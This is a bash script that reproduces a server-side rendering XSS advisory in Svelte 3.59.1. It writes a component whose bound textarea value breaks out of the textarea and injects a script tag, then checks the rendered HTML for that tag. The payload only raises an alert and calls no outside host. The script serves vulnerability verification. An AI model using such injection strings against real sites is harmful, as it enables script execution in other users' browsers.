#!/usr/bin/env bash
set -euo pipefail

ROOT_DIR="$(realpath "$(dirname "$0")/..")"
LOG_DIR="$ROOT_DIR/logs"
APP_DIR="$ROOT_DIR/repro/svelte-textarea-xss"
INSTALL_LOG="$LOG_DIR/npm-install.log"
SSR_OUTPUT="$LOG_DIR/ssr-output.html"
RUN_LOG="$LOG_DIR/reproduction.log"

mkdir -p "$LOG_DIR"

timestamp() {
  date --iso-8601=seconds
}

log() {
  local message="$1"
  echo "[$(timestamp)] $message" | tee -a "$RUN_LOG"
}

log "Starting reproduction for GHSA-gw32-9rmw-qwww"

for cmd in node npm; do
  if ! command -v "$cmd" >/dev/null 2>&1; then
    log "Missing required command: $cmd"
    exit 1
  fi
  log "Found $("$cmd" --version | tr -d '\n')"
done

log "Preparing clean workspace at $APP_DIR"
rm -rf "$APP_DIR"
mkdir -p "$APP_DIR"

cat > "$APP_DIR/package.json" <<'EOF'
{
  "name": "svelte-textarea-xss",
  "version": "1.0.0",
  "private": true,
  "description": "Reproduction for GHSA-gw32-9rmw-qwww",
  "license": "UNLICENSED",
  "dependencies": {
    "svelte": "3.59.1"
  }
}
EOF

log "Created package.json pinned to vulnerable svelte@3.59.1"

cat > "$APP_DIR/Component.svelte" <<'EOF'
<script>
  let value = `test'"></textarea><script` + `>alert('BIM');</sc` + `ript>`;
</script>

<textarea bind:value />
EOF

log "Wrote vulnerable Component.svelte"

cat > "$APP_DIR/render.js" <<'EOF'
const fs = require('fs');
const path = require('path');
const { compile } = require('svelte/compiler');

const componentPath = path.join(__dirname, 'Component.svelte');
const source = fs.readFileSync(componentPath, 'utf8');

const compiled = compile(source, { generate: 'ssr', format: 'cjs' });
const SSRModule = new module.constructor();
SSRModule.paths = module.paths;
SSRModule._compile(compiled.js.code, 'Component.js');
const Component = SSRModule.exports.default;

const { html } = Component.render();
process.stdout.write(html);
EOF

log "Created SSR renderer"

log "Installing npm dependencies (see $INSTALL_LOG for full output)"
npm install --prefix "$APP_DIR" > "$INSTALL_LOG" 2>&1
log "npm install completed"

log "Rendering Component via SSR"
node "$APP_DIR/render.js" > "$SSR_OUTPUT"
log "Captured SSR HTML to $SSR_OUTPUT"

if grep -q "</textarea><script>" "$SSR_OUTPUT"; then
  log "VULNERABILITY REPRODUCED: malicious <script> tag present in SSR output"
  exit 0
else
  log "Failed to reproduce vulnerability"
  exit 1
fi
